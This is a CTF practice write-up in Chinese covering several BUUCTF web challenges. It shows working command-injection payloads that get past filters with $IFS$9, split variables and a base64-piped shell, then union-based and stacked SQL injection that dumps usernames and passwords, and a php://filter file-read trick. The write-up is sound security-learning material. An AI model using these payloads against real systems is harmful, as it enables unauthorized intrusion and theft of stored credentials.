BUUCTF练习day2
[GXYCTF2019]Ping Ping Ping
ping题有点熟悉的命令注入,使用
127.0.0.1;ls
可以得到当前目录的文件名
cat一下flag.php,发现不行
过滤了空格,那我们有什么方法绕过呢
- <(重定向符号)
- ${IFS}
- $IFS$9
- %09(tab键)
试一试发现过滤了<和${IFS}和%09,页面都回显出这个
试了一下$IFS$9
可以,回显出这个页面
说明过滤了flag字符,那这里又可以学习关键词绕过知识点
cat$IFS$9fl\ag.php
b=ag;a=fl;cat$IFS$9$a$b.php
echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
cat$IFS$9fla*
完整payload
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php
[SUCTF 2019]EasySQL
输入1
输入1’没有任何回显
输入1"
这里确实与我之前做的SQL不同,普通的联合查询不行,学习一下别人的wp和wp
可以学习到堆叠注入和一种情况数字回显字母不回显,说明有一个 或 结构
[极客大挑战 2019]LoveSQL
这是之前的遇到一个题目变形3.17练习
判断闭合方式
试一试1和1’和1"发现输入1’时回显不正常的页面(提示有语法错误)
那么闭合方式是单引号闭合
判断列数
使用(密码随便填的,用户名中的%23是#,起注释作用)
1' order by 1,2,3,4%23
回显出的页面表示没有第4列
试一试三列,回显正常(没有报语法错误)
那么确定一共三列
查询回显位(从数据库将数据回显到页面的位置)
-1' union select 1,2,3%23
图中的2和3的位置就是回显位,说明这个题有两个回显位
查询数据库名,用户
-1' union select 1,user(),database()%23
说明当前数据库是geek用户是root
查询表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23
可以知道当前数据库的表有两个geekuser和l0ve1ysq1(这是一个题目,我们要的是用户信息,因为一般有flag)
查询geekuser表的字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser'%23
那么可以知道geek这个数据库的geekuser这张表下有三个字段id,username,password,
那我们将它们查询出来
查询字段内容
1' union select 1,group_concat(id,0x2A,username,0x3A,password),3 from geekuser%23
那现在已经知道了账号和密码,那就拿去登录
发现不对,那就看看另一个表
思路一样
查询字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23
查询字段名(0x3A表示将这些字段内容以冒号分隔开)
1' union select 1,group_concat(id,0x3A,username,0x3A,password),3 from l0ve1ysq1%23
得到flag
flag{2cf1ec82-e163-471a-a6ce-d00a01219738}
[强网杯 2019]随便注(字符型)
又是一道SQL注入
判断注入点
试一试1’
出现语法错误,闭合方式是单引号
判断列数
1' order by 4%23
没有第四列(通过相同的方式判断出只有两列)
1' order by 2%23
寻找回显位
在寻找回显位时,发现select被过滤了
select被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了,我们只剩下堆叠注入
查询表名
1'; show tables;#
有两个表1919810931114514和words
查询两个表的字段
当数据表为数字时需要用反引号括起来
1'; show columns from words;#
1'; show columns from `1919810931114514`;#
使用handler代替select
1'; handler `1919810931114514`open as a; handler a read next;#
[极客大挑战 2019]Secret File
打开环境,没有什么发现,查看源代码,发现一个链接
点击后发现一个
再点击,题目题目告述我们结束了,但是什么都没有发现,那就抓包看看
从点击select开始
发现一个注释后的页面
打开,发现代码,要进行代码审计
文件包含漏洞,常见思路使用伪协议
php://filter/convert.base64-encode/resource=flag.php
解码可以得到flag